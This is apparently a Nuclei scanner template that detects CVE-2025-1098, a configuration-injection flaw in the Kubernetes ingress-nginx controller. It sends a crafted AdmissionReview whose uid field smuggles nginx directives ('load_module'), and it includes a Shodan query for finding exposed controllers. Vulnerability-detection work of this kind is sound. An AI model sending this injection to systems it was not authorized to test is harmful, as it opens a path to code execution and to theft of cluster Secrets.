id: CVE-2025-1098

info:
  name: Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations
  author: UNC1739
  severity: high
  description: |
    A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
  reference:
    - https://github.com/kubernetes/kubernetes/issues/131008
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1098
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-1098
    cwe-id: CWE-20
    epss-score: 0.00224
    epss-percentile: 0.42238
  metadata:
    verified: true
    max-request: 1
    shodan-query: ssl:"ingress-nginx" port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,rce

variables:
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "kind": "AdmissionReview",
          "apiVersion": "admission.k8s.io/v1",
          "request": {
            "uid": "{{string}}",
            "kind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "resource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "requestKind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "requestResource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "name": "minimal-ingress",
            "namespace": "default",
            "operation": "CREATE",
            "userInfo": {
              "uid": "{{string}}"
            },
            "object": {
              "kind": "Ingress",
              "apiVersion": "networking.k8s.io/v1",
              "metadata": {
                "name": "minimal-ingress",
                "namespace": "default",
                "creationTimestamp": null,
                "uid": "InjectTest#;\n\n}\n}\n}\nload_module test;",
                "annotations": {
                  "nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"
                }
              },
              "spec": {
                "ingressClassName": "nginx",
                "rules": [
                  {
                    "host": "test.example.com",
                    "http": {
                      "paths": [
                        {
                          "path": "/",
                          "pathType": "Prefix",
                          "backend": {
                            "service": {
                              "name": "kubernetes",
                              "port": {
                                "number": 443
                              }
                            }
                          }
                        }
                      ]
                    }
                  }
                ]
              },
              "status": {
                "loadBalancer": {}
              }
            },
            "oldObject": null,
            "dryRun": true,
            "options": {
              "kind": "CreateOptions",
              "apiVersion": "meta.k8s.io/v1"
            }
          }
        }

    matchers:
      - type: word
        part: body
        words:
          - 'AdmissionReview'
          - 'load_module'
          - 'directive is specified too late'
        condition: and
# digest: 4b0a00483046022100ff34bc1636adddc578a1a90b578eec82b16f4e66007eb87f0643be663a434db2022100a2132e1e6f358a48e16be16c733f773e54463315df870cc7cb22cd1860a05f9c:922c64590222798bb761d5b6d8e72950